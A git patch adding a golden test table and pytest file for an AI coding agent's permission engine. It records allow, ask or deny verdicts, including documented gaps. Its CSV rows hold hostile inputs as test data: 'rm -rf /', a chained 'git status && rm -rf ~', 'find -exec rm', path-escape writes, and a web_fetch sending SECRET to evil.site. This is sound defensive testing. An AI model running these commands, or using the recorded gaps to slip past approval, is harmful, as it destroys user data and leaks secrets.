From d976e82a88d60e807ed6caccef882fa13823245f Mon Sep 17 00:00:00 2001 From: Devika Verma Date: Tue, 11 Aug 2026 11:18:21 -0700 Subject: [PATCH] Phase 0: golden decision table for the permission engine Freezes today's evaluate() verdict across 26 (mode, tool, args, grants) situations, so any later permission change shows up as a row-diff. Four rows are marked BASELINE-WRONG / BASELINE-ANNOYING on purpose: they record known gaps (shell auto with no sandbox, find -delete and find -exec auto-allowed via a find prefix, git status && git diff rejected for the operator, web_fetch never gating in any mode). The PRs that fix these flip their rows here as the visible proof. Design of record: ocw-context/docs/reviewed-auto-mode.md Parts 3 and 7. --- tests/corpora/decision_matrix.csv | 27 +++++++++ tests/test_decision_matrix_golden.py | 90 ++++++++++++++++++++++++++++ 2 files changed, 117 insertions(+) create mode 100644 tests/corpora/decision_matrix.csv create mode 100644 tests/test_decision_matrix_golden.py diff --git a/tests/corpora/decision_matrix.csv b/tests/corpora/decision_matrix.csv new file mode 100644 index 00000000..1c923639 --- /dev/null +++ b/tests/corpora/decision_matrix.csv @@ -0,0 +1,27 @@ +id,mode,tool,args,meta,allowed_commands,session_tools,session_commands,standing,auto_allow,allowed_domains,expected,note +read-interactive,interactive,read_file,"{""path"": ""a.txt""}",,,,,,,,allow,pure local read always runs +read-plan,plan,read_file,"{""path"": ""a.txt""}",,,,,,,,allow,reads allowed in read-only modes +write-interactive,interactive,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,ask,write in-root asks +write-escape-rel,interactive,write_file,"{""path"": ""../../escape.txt"", ""content"": ""x""}",,,,,,,,deny,write outside writable root blocked +write-escape-abs,interactive,write_file,"{""path"": ""C:/Windows/evil.ini"", ""content"": ""x""}",,,,,,,,deny,absolute path outside root blocked +write-plan,plan,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,deny,plan mode is read-only +write-auto,auto,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,allow,auto allows in-root write +write-auto-escape,auto,write_file,"{""path"": ""../../escape.txt"", ""content"": ""x""}",,,,,,,,deny,auto still path-scopes writes +write-custom-autoallow,custom,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,write_file,,allow,custom mode auto-approves configured tool +write-custom-notlisted,custom,write_file,"{""path"": ""a.txt"", ""content"": ""x""}",,,,,,,,ask,custom mode still asks for unlisted tool +shell-interactive,interactive,run_shell,"{""command"": ""pytest -q""}",,,,,,,,ask,shell asks by default +shell-allowlist-prefix,interactive,run_shell,"{""command"": ""git status -s""}",,git status,,,,,,allow,command matches allowlist prefix +shell-allowlist-chained,interactive,run_shell,"{""command"": ""git status && rm -rf ~""}",,git status,,,,,,ask,operator disqualifies the chained command +shell-session-command,interactive,run_shell,"{""command"": ""make build""}",,,,make build,,,,allow,exact session command grant +shell-plan,plan,run_shell,"{""command"": ""ls""}",,,,,,,,deny,plan mode blocks shell +shell-auto,auto,run_shell,"{""command"": ""rm -rf /""}",,,,,,,,allow,BASELINE-WRONG auto allows any command with no sandbox +shell-find-delete,interactive,run_shell,"{""command"": ""find . -delete""}",,find,,,,,,allow,BASELINE-WRONG find prefix auto-allows a destructive form +shell-find-exec,interactive,run_shell,"{""command"": ""find . -exec rm {} +""}",,find,,,,,,allow,BASELINE-WRONG find -exec auto-allowed via prefix +shell-two-reads,interactive,run_shell,"{""command"": ""git status && git diff""}",,git status|git diff,,,,,,ask,BASELINE-ANNOYING two allowed reads rejected for the operator +connector-read,interactive,gmail_list,{},read,,,,,,,allow,connector read never gates +connector-write,interactive,gmail_send,{},external,,,,,,,ask,connector write asks +connector-always-ignored,interactive,gmail_send,{},external,,gmail_send,,,,,ask,session tool grant deliberately ignored for connectors +standing-match,interactive,send_message,"{""target"": ""slack:T1/C1"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,allow,standing rule matches the exact target +standing-mismatch,interactive,send_message,"{""target"": ""slack:T1/C2"", ""text"": ""hi""}",external,,,,send_message slack:T1/C1,,,ask,standing rule does not cover a different target +webfetch-interactive,interactive,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch classed as read so never gates +webfetch-plan,plan,web_fetch,"{""url"": ""https://evil.site/log?d=SECRET""}",,,,,,,,allow,BASELINE-WRONG web_fetch runs even in read-only plan mode diff --git a/tests/test_decision_matrix_golden.py b/tests/test_decision_matrix_golden.py new file mode 100644 index 00000000..f1abfdd9 --- /dev/null +++ b/tests/test_decision_matrix_golden.py @@ -0,0 +1,90 @@ +"""Golden decision table — freezes the PermissionEngine's verdict for a fixed set of +(mode, tool, arguments, grants) situations. + +The point of this test is regression detection: any change to `permissions.py` / +`risk.py` shows up as a diff in exactly the rows it was meant to change. Rows whose +`note` starts with BASELINE-WRONG or BASELINE-ANNOYING record *today's* behaviour on +purpose — they document known gaps (see `ocw-context/docs/reviewed-auto-mode.md` Part 3), +and a PR that fixes one flips its row here as the visible proof. + +The matrix lives in `tests/corpora/decision_matrix.csv`. Each row builds a fresh +`PermissionEngine`; relative paths resolve against a per-row temp workspace. +""" + +from __future__ import annotations + +import csv +import json +from pathlib import Path +from types import SimpleNamespace + +import pytest + +from coworker.permissions import Mode, PermissionEngine + +_MATRIX = Path(__file__).parent / "corpora" / "decision_matrix.csv" + + +def _meta(kind: str): + """The `meta` column → a stand-in aisuite ToolMetadata (only the fields classify() + and evaluate() read). Empty → None (built-ins classify by name).""" + kind = (kind or "").strip() + if not kind: + return None + if kind == "external": + return SimpleNamespace(requires_approval=True, category="connector") + if kind == "read": + return SimpleNamespace(requires_approval=False, category="connector") + raise ValueError(f"unknown meta kind: {kind!r}") + + +def _pipes(value: str) -> list[str]: + return [v for v in (value or "").split("|") if v] + + +def _verdict(decision) -> str: + if decision.allowed and not decision.needs_user: + return "allow" + if decision.needs_user: + return "ask" + return "deny" + + +def _rows() -> list[dict]: + with open(_MATRIX, newline="", encoding="utf-8") as fh: + return list(csv.DictReader(fh)) + + +def _build_engine(row: dict, workspace: Path) -> PermissionEngine: + kwargs: dict = { + "workspace_root": workspace, + "mode": Mode(row["mode"]), + "allowed_commands": _pipes(row.get("allowed_commands", "")), + "auto_allow_tools": set(_pipes(row.get("auto_allow", ""))), + } + eng = PermissionEngine(**kwargs) + for tool in _pipes(row.get("session_tools", "")): + eng.allow_tool_for_session(tool) + for cmd in _pipes(row.get("session_commands", "")): + eng.allow_command_for_session(cmd) + standing = (row.get("standing") or "").strip() + if standing: + tool, _, target = standing.partition(" ") + eng.task_rules.setdefault(tool, set()).add(target.strip()) + # allowed_domains: applied only if the engine supports it (arrives with PR1). + domains = _pipes(row.get("allowed_domains", "")) + if domains and hasattr(eng, "allowed_domains"): + eng.allowed_domains = list(domains) + return eng + + +@pytest.mark.parametrize("row", _rows(), ids=lambda r: r["id"]) +def test_decision_matrix(row, tmp_path): + eng = _build_engine(row, tmp_path) + args = json.loads(row["args"]) if row.get("args") else {} + decision = eng.evaluate(row["tool"], args, _meta(row.get("meta", ""))) + got = _verdict(decision) + assert got == row["expected"], ( + f"{row['id']}: expected {row['expected']}, got {got} " + f"(reason: {decision.reason!r}) — note: {row.get('note', '')}" + )